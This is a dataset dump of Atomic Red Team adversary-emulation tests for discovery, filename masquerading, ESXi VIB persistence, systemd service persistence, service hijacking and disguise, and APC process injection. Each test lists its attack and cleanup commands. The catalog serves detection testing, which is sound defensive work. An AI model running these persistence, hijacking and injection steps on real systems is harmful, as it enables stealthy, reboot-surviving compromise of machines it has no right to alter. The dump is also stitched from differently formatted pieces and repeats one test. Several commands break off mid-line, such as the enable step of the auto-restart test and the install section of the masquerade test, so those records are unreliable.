deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1082: System Information Discovery
Test: Identify System Locale and Regional Settings with PowerShell
Platforms: windows
Executor: command_prompt

Description:
This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling 
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.


Command:
powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"


Cleanup:
cmd.exe /c del "%TMP%\a.txt"
Atomic Red Team — T1082: System Information Discovery
Test: Enumerate Available Drives via gdr
Platforms: windows
Executor: command_prompt

Description:
This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.


Command:
powershell.exe -c "gdr -PSProvider 'FileSystem'"
Atomic Red Team — T1082: System Information Discovery
Test: Discover OS Product Name via Registry
Platforms: windows
Executor: command_prompt

Description:
Identify the Operating System Product Name via registry with the reg.exe command.
Upon execution, the OS Product Name will be displayed.


Command:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
Atomic Red Team — T1082: System Information Discovery
Test: Discover OS Build Number via Registry
Platforms: windows
Executor: command_prompt

Description:
Identify the Operating System Build Number via registry with the reg.exe command.
Upon execution, the OS Build Number will be displayed.


Command:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber
# T1036.006 - Masquerading: Space after Filename

## Description from ATT&CK

> Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
> 
> For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
> 
> Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

[Source](https://attack.mitre.org/techniques/T1036/006)

## Atomic Tests

- [Atomic Test #1: Space After Filename (Manual)](#atomic-test-1-space-after-filename-manual)
- [Atomic Test #2: Space After Filename](#atomic-test-2-space-after-filename)

### Atomic Test #1: Space After Filename (Manual)

Space After Filename

**Supported Platforms:** macOS

**auto_generated_guid:** `89a7dd26-e510-4c9f-9b15-f3bae333360f`

#### Attack Commands: Run it with these steps! 
1. echo '#!/bin/bash\necho "print \"hello, world!\"" | /usr/bin/python\nexit' > execute.txt && chmod +x execute.txt

2. mv execute.txt "execute.txt "

3. ./execute.txt\ 


### Atomic Test #2: Space After Filename

Space after filename.

**Supported Platforms:** macOS, Linux

**auto_generated_guid:** `b95ce2eb-a093-4cd8-938d-5258cef656ea`

#### Attack Commands: Run with `sh`!

```sh
mkdir -p /tmp/atomic-test-T1036.006
cd /tmp/atomic-test-T1036.006
mkdir -p 'testdirwithspaceend '
[ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init  '/;\nqx/'.\/init  ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
chmod +x 'testdirwithspaceend /init '
'./testdirwithspaceend /init '
```

#### Cleanup Commands

```sh
rm -rf /tmp/atomic-test-T1036.006
```
Atomic Red Team — T1036.006: Masquerading: Space after Filename
Test: Space After Filename (Manual)
Platforms: macos
Executor: manual

Description:
Space After Filename
Atomic Red Team — T1036.006: Masquerading: Space after Filename
Test: Space After Filename
Platforms: macos, linux
Executor: sh

Description:
Space after filename.


Command:
mkdir -p /tmp/atomic-test-T1036.006
cd /tmp/atomic-test-T1036.006
mkdir -p 'testdirwithspaceend '
[ "$(uname)" = 'FreeBSD' ] && /bin/echo "#\!/bin/sh" > "testdirwithspaceend /init " && echo 'echo "print(\"running T1035.006 with space after filename to masquerade init\")" | python3.9' >> "testdirwithspaceend /init " && echo "exit" >> "testdirwithspaceend /init " || /usr/bin/echo -e "%d\na\n#!/usr/bin/perl\nprint \"running T1035.006 with space after filename to masquerade init\\n\";\nqx/cp \/usr\/bin\/perl 'init  '/;\nqx/'.\/init  ' -e 'sleep 5'/;\n.\nwq\n" | ed 'testdirwithspaceend /init ' >/dev/null
chmod +x 'testdirwithspaceend /init '
'./testdirwithspaceend /init '


Cleanup:
rm -rf /tmp/atomic-test-T1036.006
Atomic Red Team — T1129: Server Software Component
Test: ESXi - Install a custom VIB on an ESXi host
Platforms: windows
Executor: command_prompt

Description:
An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)


Command:
#{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_install}"


Cleanup:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_remove}"


Dependencies:
Check if plink and pscp are available.
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Create and Enable a Malicious systemd Service Unit
Platforms: linux
Executor: sh

Description:
Creates a new systemd service unit file in /etc/systemd/system/ and enables it using
systemctl enable followed by systemctl start. Adversaries commonly abuse this workflow
to establish persistence or execute arbitrary commands under the context of systemd.

This simulates the full attacker workflow: writing the unit file, reloading the systemd
daemon, enabling the service to survive reboots, and starting it immediately. This is
consistent with techniques observed in ransomware precursor activity and post-exploitation
frameworks targeting Linux infrastructure.


Command:
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Atomic Test Service" >> /etc/systemd/system/#{service_name}.service
echo "After=network.target" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=#{command_to_run}" >> /etc/systemd/system/#{service_name}.service
echo "Restart=on-failure" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl enable #{service_name}.service
systemctl start #{service_name}.service


Cleanup:
systemctl stop #{service_name}.service 2>/dev/null || true
systemctl disable #{service_name}.service 2>/dev/null || true
rm -f /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
rm -f /tmp/atomic_service_output.txt


Dependencies:
systemctl must be available on the system

The test must be run as root or with sudo privileges

/etc/systemd/system/ directory must exist and be writable
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Create systemd Service Unit from /tmp (Unusual Location)
Platforms: linux
Executor: sh

Description:
Creates a systemd service unit file in /tmp and loads it using systemctl start with
an absolute path. Adversaries may write service unit files to world-writable directories
such as /tmp to avoid triggering alerts on new file creation in standard service
directories, or to execute payloads transiently without permanently installing a service.

Loading a service unit from an arbitrary path rather than a standard systemd directory
is unusual behaviour that should be detectable by monitoring systemctl command arguments.


Command:
echo "[Unit]" > #{service_path}
echo "Description=Atomic Tmp Service" >> #{service_path}
echo "" >> #{service_path}
echo "[Service]" >> #{service_path}
echo "ExecStart=#{command_to_run}" >> #{service_path}
echo "" >> #{service_path}
echo "[Install]" >> #{service_path}
echo "WantedBy=multi-user.target" >> #{service_path}
systemctl link #{service_path}
systemctl start $(basename #{service_path})
systemctl status $(basename #{service_path})


Cleanup:
systemctl stop $(basename #{service_path}) 2>/dev/null || true
rm -f #{service_path}
rm -f /tmp/atomic_tmp_output.txt


Dependencies:
systemctl must be available on the system

/tmp must exist and be writable

The test must be run as root or with sudo privileges
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Create systemd Service Unit from /dev/shm (Unusual Location)
Platforms: linux
Executor: sh

Description:
Creates a systemd service unit file in /dev/shm and loads it using systemctl.
/dev/shm is a memory-backed filesystem that is world-writable on most Linux systems
and does not persist across reboots, making it particularly attractive to adversaries
seeking to execute transient payloads while evading file-based forensic detection.

This technique has been observed in post-exploitation scenarios where attackers
deliberately avoid writing to disk-backed locations to limit forensic artefacts.


Command:
echo "[Unit]" > #{service_path}
echo "Description=Atomic SHM Service" >> #{service_path}
echo "" >> #{service_path}
echo "[Service]" >> #{service_path}
echo "ExecStart=#{command_to_run}" >> #{service_path}
echo "" >> #{service_path}
echo "[Install]" >> #{service_path}
echo "WantedBy=multi-user.target" >> #{service_path}
systemctl link #{service_path}
systemctl start $(basename #{service_path})
systemctl status $(basename #{service_path})


Cleanup:
systemctl stop $(basename #{service_path}) 2>/dev/null || true
rm -f #{service_path}
rm -f /tmp/atomic_shm_output.txt


Dependencies:
systemctl must be available on the system

/dev/shm must exist and be writable

The test must be run as root or with sudo privileges
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Modify Existing systemd Service to Execute Malicious Command
Platforms: linux
Executor: sh

Description:
Creates a service unit file that initially runs a benign command, then modifies the
ExecStart directive using sed to substitute a malicious command before reloading and
restarting the service. Adversaries may hijack existing services to blend in with normal
service activity and avoid triggering detections focused solely on new service creation.

This technique reflects the tradecraft observed in more sophisticated intrusions where
blending into existing process trees is a priority over creating net-new services.


Command:
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Legitimate Looking Service" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=/bin/true" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
sed -i 's|ExecStart=.*|ExecStart=#{malicious_command}|' /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl start #{service_name}.service
systemctl status #{service_name}.service


Cleanup:
systemctl stop #{service_name}.service 2>/dev/null || true
systemctl disable #{service_name}.service 2>/dev/null || true
rm -f /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
rm -f /tmp/atomic_hijack_output.txt


Dependencies:
systemctl must be available on the system

sed must be available on the system

The test must be run as root or with sudo privileges
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Execute Command via Transient systemd Service (systemd-run)
Platforms: linux
Executor: sh

Description:
Uses systemd-run to execute a command as a transient systemd service without creating
a persistent unit file on disk. Adversaries may use systemd-run to execute arbitrary
commands under the context of systemd while bypassing controls that monitor for new
unit file creation, since transient services exist only in memory for their lifetime.

This is a particularly stealthy technique as it leaves minimal on-disk artefacts and
the service disappears from systemctl list-units once execution completes.


Command:
systemd-run --unit=#{unit_name} --wait #{command_to_run}
systemctl status #{unit_name}.service 2>/dev/null || echo "Transient service has already completed and exited."


Cleanup:
systemctl stop #{unit_name}.service 2>/dev/null || true
rm -f /tmp/atomic_transient_output.txt


Dependencies:
systemd-run must be available on the system

The test must be run as root or with sudo privileges
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Enumerate All systemd Services Using systemctl
Platforms: linux
Executor: sh

Description:
Enumerates all systemd services and their current states using systemctl list-units
and systemctl list-unit-files. Adversaries may enumerate running and enabled services
to identify targets for hijacking, understand the host environment, map installed
security tooling, or identify gaps in monitoring coverage.

Service enumeration is a common reconnaissance step during post-exploitation and may
precede service hijacking or masquerading activity. This test does not require
elevation as service listing is available to unprivileged users on most Linux systems.


Command:
systemctl list-units --type=service --all
systemctl list-unit-files --type=service


Cleanup:
echo "No cleanup required"


Dependencies:
systemctl must be available on the system
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Enable systemd Service for Persistence with Auto-Restart
Platforms: linux
Executor: sh

Description:
Creates a payload script and a systemd service unit that executes it, then enables
the service to survive reboots using systemctl enable. The service is configured with
Restart=always to automatically restart on failure, mimicking the persistence mechanism
used by adversaries deploying backdoors or beacons on Linux hosts.

This technique is consistent with observed post-exploitation tradecraft where adversaries
establish a foothold that survives reboots and self-heals after interruption, complicating
incident response and remediation efforts.


Command:
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Atomic Persistence Service" >> /etc/systemd/system/#{service_name}.service
echo "After=network.target" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=#{payload_path}" >> /etc/systemd/system/#{service_name}.service
echo "Restart=always" >> /etc/systemd/system/#{service_name}.service
echo "RestartSec=10" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl en

Cleanup:
systemctl stop #{service_name}.service 2>/dev/null || true
systemctl disable #{service_name}.service 2>/dev/null || true
rm -f /etc/systemd/system/#{service_name}.service
rm -f /etc/systemd/system/multi-user.target.wants/#{service_name}.service
systemctl daemon-reload
rm -f #{payload_path}
rm -f /tm

Dependencies:
systemctl must be available on the system

The test must be run as root or with sudo privileges

/etc/systemd/system/ directory must exist and be writable
Atomic Red Team — T1569.003: System Services: Systemctl
Test: Masquerade Malicious Service as Legitimate System Service
Platforms: linux
Executor: sh

Description:
Creates a systemd service with a name and description closely resembling a legitimate
system service to blend in with normal service activity. Adversaries may deliberately
choose service names similar to well-known system services such as systemd-networkd,
cron, or ssh to evade detection from analysts reviewing service lists or automated
alerting on service names.

This masquerading technique is particularly effective in environments where detection
relies on service name allowlists or manual review of systemctl list-units output
rather than behavioural analysis of service unit file contents and ExecStart paths.


Command:
echo "[Unit]" > /etc/systemd/system/#{masquerade_name}.service
echo "Description=Network connectivity helper service" >> /etc/systemd/system/#{masquerade_name}.service
echo "After=network.target" >> /etc/systemd/system/#{masquerade_name}.service
echo "Before=network-online.target" >> /etc/systemd/system/#{masquerade_name}.service
echo "" >> /etc/systemd/system/#{masquerade_name}.service
echo "[Service]" >> /etc/systemd/system/#{masquerade_name}.service
echo "ExecStart=#{command_to_run}" >> /etc/systemd/system/#{masquerade_name}.service
echo "Restart=on-failure" >> /etc/systemd/system/#{masquerade_name}.service
echo "RestartSec=5" >> /etc/systemd/system/#{masquerade_name}.service
echo "" >> /etc/systemd/system/#{masquerade_name}.service
echo "[Install]" >> /etc/systemd/system/#{masquerade_n

Cleanup:
systemctl stop #{masquerade_name}.service 2>/dev/null || true
systemctl disable #{masquerade_name}.service 2>/dev/null || true
rm -f /etc/systemd/system/#{masquerade_name}.service
systemctl daemon-reload
rm -f /tmp/atomic_masquerade_output.txt


Dependencies:
systemctl must be available on the system

The test must be run as root or with sudo privileges

/etc/systemd/system/ directory must exist and be writable
Atomic Red Team — T1055.004: Process Injection: Asynchronous Procedure Call
Test: Process Injection via C#
Platforms: windows
Executor: command_prompt

Description:
Process Injection using C#
reference: https://github.com/pwndizzle/c-sharp-memory-injection
Excercises Five Techniques
1. Process injection
2. ApcInjectionAnyProcess
3. ApcInjectionNewProcess
4. IatInjection
5. ThreadHijack
Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.


Command:
"#{exe_binary}"


Dependencies:
#{exe_binary} must be exist on system.
Atomic Red Team — T1055.004: Process Injection: Asynchronous Procedure Call
Test: EarlyBird APC Queue Injection in Go
Platforms: windows
Executor: powershell

Description:
Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. 
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
- References: 
  - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/
  - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection


Command:
$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
Atomic Red Team — T1055.004: Process Injection: Asynchronous Procedure Call
Test: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
Platforms: windows
Executor: powershell

Description:
Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode. 
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Get a handle to the current thread
5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References:
  - https://repnz.github.io/posts/apc/user-apc/
  - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
  - https://0x00sec.org/t/process-injection-apc-injection/24608
  - https://twitter.com/aionescu/status/[PII_REDACTED]24032005
  - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505


Command:
$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery
Platforms: windows
Executor: command_prompt

Description:
Identify system services.

Upon successful execution, cmd.exe will execute service commands with expected result to stdout.


Command:
tasklist.exe /svc
sc query
sc query state= all
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - net.exe
Platforms: windows
Executor: command_prompt

Description:
Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.


Command:
net.exe start >> #{output_file}


Cleanup:
del /f /q /s #{output_file} >nul 2>&1
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - systemctl/service
Platforms: linux
Executor: bash

Description:
Enumerates system service using systemctl/service


Command:
if [ "$(uname)" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;
Atomic Red Team — T1007: System Service Discovery
Test: Get-Service Execution
Platforms: windows
Executor: command_prompt

Description:
Executes the Get-Service cmdlet to gather objects representing all services on the local system.

Command:
powershell.exe Get-Service
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - macOS launchctl
Platforms: macos
Executor: sh

Description:
Enumerates services on macOS using launchctl. Used by adversaries for
identifying daemons, background services, and persistence mechanisms.


Command:
launchctl list
Atomic Red Team — T1007: System Service Discovery
Test: System Service Discovery - Windows Scheduled Tasks (schtasks)
Platforms: windows
Executor: command_prompt

Description:
Enumerates scheduled tasks on Windows using schtasks.exe.


Command:
schtasks /query /fo LIST /v